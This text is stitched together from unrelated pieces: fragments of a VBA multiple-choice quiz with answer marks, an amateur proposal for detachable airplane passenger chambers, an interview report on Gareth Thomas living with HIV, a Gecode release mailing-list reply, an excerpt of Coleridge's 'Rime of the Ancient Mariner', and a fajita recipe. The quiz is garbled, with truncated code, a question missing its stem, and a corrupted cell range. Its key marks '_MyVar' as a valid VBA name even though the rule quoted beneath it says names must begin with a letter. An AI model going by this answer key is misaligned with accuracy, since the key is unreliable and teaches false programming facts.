ReDim TestArray(2)
TestArray(2) = 3
Total = WorksheetFunction.Sum(TestArray)
End Sub
Q7. The Driver subroutine is declared by Sub Driver (Y). Which statement results in a compile error?
- [ ] Driver x
- [ ] call Driver(x)
- [ ] call Driver x
- [ ] Driver (X)
- [ ] Frame
- [ ] multipage
- [ ] TabStrip
- [ ] ListBox
Q9. Below is a function named SquareIt. Which version of the subroutine named Area results in a compile error?
Function SquareIt(ByRef Basis As Integer) As Long
SquareIt = Basis ^ 2
End Function
Dim Result As Long, Side As Integer
Side = 5
Result = Squarelt(Side)
End Sub
Dim Result As Long, Side
Side = 5
Result = SquareIt(Cint(Side))
End Sub
Q10. EmailAddress() is an array. It is declared by Dim EmailAddress(10) As String, and option Base 1 is in effect. How many rows and columns are in EmailAddress()?
- [ ] 10 rows and 10 columns
- [ ] 10 rows and 1 column
- [ ] 10 rows and 0 columns
- [ ] 1 row and 10 columns
Q11. Which cell is selected if you run this code?
Range("E3:312").Range("B3").Select
- [ ] F5 - [✅] F3 - [ ] B3 - [ ] E3 #### Q12. Which variable name is valid in VBA? - [✅] _MyVar - [ ] My_Var - [ ] My-Var - [ ] 1MyVar
Reference link
Use the following rules when you name procedures, constants, variables, and arguments in a Visual Basic module:
You must use a letter as the first character.
You can't use a space, period (.), exclamation mark (!), or the characters @, &, $, # in the name.
Name can't exceed 255 characters in length.


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Note: If you want to learn the story behind this project, be sure to read my blog post.
Abstract
I should begin by stating that I am not a mechanic, but a high-school Physics professor.
After a couple of recent tragic airplane accidents, which are pretty rare but when they occur they can be quite shocking as the chance of survival is next to zero, I have put some thought on how the loss of human lives can be minimized.
Unfortunately, the engines and some of the aircraft subsystems can malfunction or stop operating entirely. Most of these parts are essential for the flight operation, thus the loss of these parts certainly puts the whole aircraft at risk.
The best option is fixing those issues during flight, which can be a really challenging but not totally infeasible task, and this should be the end goal for airplane safety.
Until this goal is fulfilled though, there must be a way both passengers and crew can be saved in the unfortunate event of an airplane malfunction.
Ideas - Proposals
First idea
“Complete rescue of the airplane”An Airbus A320 has a maximum take-off weight of approximately 75 tons and a maximum fuel weight of 19 tons, meaning that not counting the fuel we would need to land approximately 56 tons.
The solution can be a series of the top-of-the-line parachutes in various places in the aircraft (3 to 7 parachutes across the length of the fuselage and one at each engine) and airbags beneath the fuselage, which is really close to the mechanism that some smaller aircrafts already have (e.g. Cirrus). (Fig 1)
This idea can be quite hard for large aircrafts -due to the weight- but not infeasible.
Second Idea
“Detachable cabin”The idea of the detachable cabin, in other words the detachment of the lower part of the fuselage from the rest of the aircraft, is a solution that can be applied, but again the weight is significant and also it would be extremely challenging to detach the lower part of the fuselage if the aircraft had taken a vertical course.
Third Idea
The recommended oneBecause of the reasons explained above, the first two ideas might sound really difficult to implement. With that in mind, it is probably preferable for passengers to sit in “chambers” that host 6 to 12 people, which -in case of an emergency- will be detached from the aircraft, after being automatically and securely airlocked.
Due to the existence of side and back wings, those chambers should probably be detached not horizontally, but either vertically down, or sideways to the front-down direction, so that there is no need for strong chamber launch mechanisms.
For the first case, where the chambers will fall vertically, this can be achieved by opening the hatches below, just like the hatches found in bomber warplanes, and the chambers can be detached in couples, so that the airplane can remain rigid and stable. (Fig 2, 3)
For the second case, where the chambers will fall sideways to the front-down direction, the hatches will open while moving downwards tangentially to the fuselage and the chambers can slide down on rails, after being detached. Due to the fact that the aircraft might be falling vertically, it might be a good idea to use a simple mechanical apparatus that will launch the chamber (e.g. using compressed springs). (Fig 4)
From the moment the chambers (around 15) will be detached, which lasts for about a minute, the last people to be ejected using a similar mechanism, will be the pilots. From there on, the problem becomes landing the aircraft with the least amount of damages, using the mechanisms described in the first idea.
Details
“Passenger chambers”
Each chamber will host two parachutes which will open five (5) seconds after detaching the chamber from the aircraft, with two layers of airbags (Fig 5), which will fill up via a pump powered by a winged system that will be activated due to the fall of the chamber. Using a positioning system, each chamber will also provide its location to a satellite.
“Chamber detachment” mechanisms
Due to the fact that the aircraft electronic systems might stop operating, the mechanisms have to be mechanical where applicable, and any basic functionality should be able to be completed just by using “one and only lever”.
This means that, each chamber should include:
- One lever to secure its front and back doors,
- One lever to detach itself,
- One lever to open the parachutes and
- One lever to open the airbag.
As there have been cases where the pilots deliberately crashed the airplane to the ground, there is probably need for those mechanisms to be controlled from the airplane control tower as well, electrically using radio-waves.
As mentioned before, in the mechanism to fill the airbag, the system that is responsible to broadcast the location of the chamber should also include a battery-backed generator which will be powered by a winged system, while the chamber is falling.
Levers to Secure the Chambers
Those levers will close and secure the sliding doors that will connect/divide the chambers from one another.
Lever to Detach the Chamber
This lever will have a dual role:
- It should open the appropriate hatch and
- It should release the chamber from the aircraft, so that, with the help of the chamber launch mechanism, the chamber will be separated from the aircraft.
Parachute levers
This lever will open the parachute almost at the same time, so that the chamber will stabilize soon after getting detached from the aircraft.
Airbag lever
This lever will expose a small winged system outside the chamber, which will power the airbag and the position tracking subsystems.
Chamber subsystems
- After the lever to secure the chamber is used, along with the sliding doors, the air conditioning system should be disabled as there is no need to be enabled for the limited amount of time that the chamber will be falling.
- Furthermore, a pressure valve must always check and control the pressure of the chamber.
Conclusion
I am aware that all of the above ideas might not be feasible and they may be forgotten.
If, however, they are of interest, I will always remain at your disposal.
In any case, I hope that they will convey the need for more secure flights to the aircraft safety mechanics, so that maybe some ideas will be implemented for the sake of humanity.
Panagiotis S. Petrakis


Gareth Thomas on taking the ‘power’ over his HIV diagnosis: ‘I’m okay with it’
Gareth Thomas has opened up about being diagnosed with HIV, explaining he has taken the ‘power’ over his condition.

And, during an appearance on Loose Women, the 45-year-old explained that he is hoping to educate everyone else in a bid to end the stigma.
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‘When I was told that my parents knew I had HIV, and I hadn’t had the opportunity to tell them… I love my parents more than anything and I didn’t want to worry them, I didn’t want them to think I was going to die like I thought,’ he told the panel.
‘I had to try and calm them all down, I had to try and get them to understand what living with HIV was. And at that point, I learnt to live with it but I hadn’t learnt to accept it myself.
‘It was a struggle for me to expect someone else to accept it when I was struggling to accept it myself.
‘I had to take control, and by taking control, I had to take the power. To have power, you have to have knowledge,’ he continued. ‘I did my own research. I spoke to other people who were living with HIV, I spoke to my doctors, I listened to my doctors.
‘I realised that, through having all this knowledge, I’m okay with it.’
The athlete revealed that he is living with HIV in a video on social media, shared back in September.
In the clip, he explained: ‘Now you have that information, that makes me extremely vulnerable but it does not make me weak.
‘Even though I have been forced to tell you this, I choose to fight to educate and break the stigma around this subject.’
Now that Gareth has come to terms with the news, he is doing whatever he can to educate everyone else on the truth about his condition.
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‘Now what I have to do is educate everybody else, so everybody else will be okay with it.
‘I wanted to create environments where people wouldn’t be stigmatised, and by doing that, you have to educate people.
‘It’s really easy to educate people, but it’s really hard to re-educate people. To try and get people to unthink these thoughts and plant new ones is really, really difficult.
‘It’s impacted my life in a way that has made me so powerful. I am stripped bare. I have nothing to hide which is actually quite a free feeling, it’s really nice. It’s really, really nice.’
Loose Women continues on weekdays, at 12.30, on ITV.
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[gecode-users] Gecode 5.0.0 released
Guido Tack
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Fri Oct 28 04:22:13 CEST 2016
Hi Carlo,
Which version of OS and Xcode are you running? With macOS 10.12 and Xcode 8 it looks like C++11 is the default anyway. For older versions you may indeed have to specify additional compilation flags, but you don’t need to patch the Makefile, just add CXXUSR=-std=c++11 when you call make. Note that you can still specify --with-macosx-version-min=10.9 or something similar when running configure to generate code that is backwards compatible.
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> On 27 Oct. 2016, at 6:00 pm, Carlo Capelli <cc.carlo.cap at gmail.com> wrote:
>
> Dear Christian
>
> Thanks so much for this release.
>
> I'm here just to note 2 small glitches about Qt5 integration (at least, the current 5.7 version):
>
> - when building, the default toolset (configure && make) should probably be extended to handle C++11.
> I just patched Makefile.in, adding CXXUSR=-std=c++11 at line 71, but surely there will be a proper way instead of hardcoding the option.
> Probably CMake already solves this detail, but I have not tested it.
>
> - in MPG Digia should substitute Nokia
>
> Best regards, Carlo
>
>
> 2016-10-26 12:27 GMT+02:00 Christian Schulte <cschulte at kth.se <mailto:cschulte at kth.se>>:
> Dear all,
>
> We are happy to announce that Gecode 5.0.0 has been released on October 25,
> 2016. Here is an excerpt from the changelog:
>
> This release adds a number of new features and fixes many bugs (some rather
> serious), so it is recommended to switch as soon as possible to this
> release. Some highlights are: re-added limited discrepancy search (LDS);
> added sequential and parallel portfolio-based search (PBS); added support
> for groups of propagators and branchers; added extensive tracing
> functionality based on groups; propagators can be disabled and re-enabled;
> support for arbitrary memory allocators; changed the notion of "integer
> consistency level" to the more expressive concept "integer propagation
> level".
>
> Cheers
> Christian
>
> --
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The Rime of the Ancient Mariner
by Samuel Taylor Coleridge
Additional Information
- Year Published: 1798
- Language: English
- Country of Origin: England
- Source: Coleridge, S.T. (1798) The Rime of Ancient Mariner London, England: J. & A. Arch, Gracechurch Street
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Readability:
- Flesch–Kincaid Level: 9.0
- Word Count: 370
- Genre: Poetry
- Keywords: 18th century literature, british literature, poetry
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The Sun now rose upon the right:
Out of the sea came he,
Still hid in mist, and on the left
Went down into the sea.
And the good south wind still blew behind
But no sweet bird did follow,
Nor any day for food or play
Came to the mariners' hollo!
And I had done an hellish thing,
And it would work 'em woe:
For all averred, I had killed the bird
That made the breeze to blow.
Ah wretch! said they, the bird to slay
That made the breeze to blow!
Nor dim nor red, like God's own head,
The glorious Sun uprist:
Then all averred, I had killed the bird
That brought the fog and mist.
'Twas right, said they, such birds to slay,
That bring the fog and mist.
The fair breeze blew, the white foam flew,
The furrow followed free:
We were the first that ever burst
Into that silent sea.
Down dropt the breeze, the sails dropt down,
'Twas sad as sad could be;
And we did speak only to break
The silence of the sea!
All in a hot and copper sky,
The bloody Sun, at noon,
Right up above the mast did stand,
No bigger than the Moon.
Day after day, day after day,
We stuck, nor breath nor motion;
As idle as a painted ship
Upon a painted ocean.
Water, water, every where,
And all the boards did shrink;
Water, water, every where,
Nor any drop to drink.
The very deep did rot: O Christ!
That ever this should be!
Yea, slimy things did crawl with legs
Upon the slimy sea.
About, about, in reel and rout
The death-fires danced at night;
The water, like a witch's oils,
Burnt green, and blue and white.
And some in dreams assured were
Of the spirit that plagued us so:
Nine fathom deep he had followed us
From the land of mist and snow.
And every tongue, through utter drought,
Was withered at the root;
We could not speak, no more than if
We had been choked with soot.
Ah! well a-day! what evil looks
Had I from old and young!
Instead of the cross, the Albatross
About my neck was hung.


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Make the marinade by chopping and mashing the garlic into a paste. In a bowl, combine the garlic paste with the remaining marinade ingredients.Trim the fat from the skirt steak. Cut the steak into two or three pieces if necessary. Add the steaks to the marinade, turning them several times to coat all sides. Cover the steak and mari-nate in the refrigerator for at least 1 hour or overnight. Grill the steak on a hot grill to the desired doneness. Remove the steak and allow it to rest for 10 minutes. Add the oil to a heavy sautee pan, heat the pan until very hot and sautee the bell peppers, onion and garlic just until they begin to soften. Slice the steak against the grain into thin slices. Arrange the steak and the pepper mixture on very hot cast-iron platters and garnish with the cilantro. The platters should be sizzling as they are presented to the table. Serve the fajitas accompanied by warm flour or corn tortillas, fresh salsa, sour cream, and guacamole.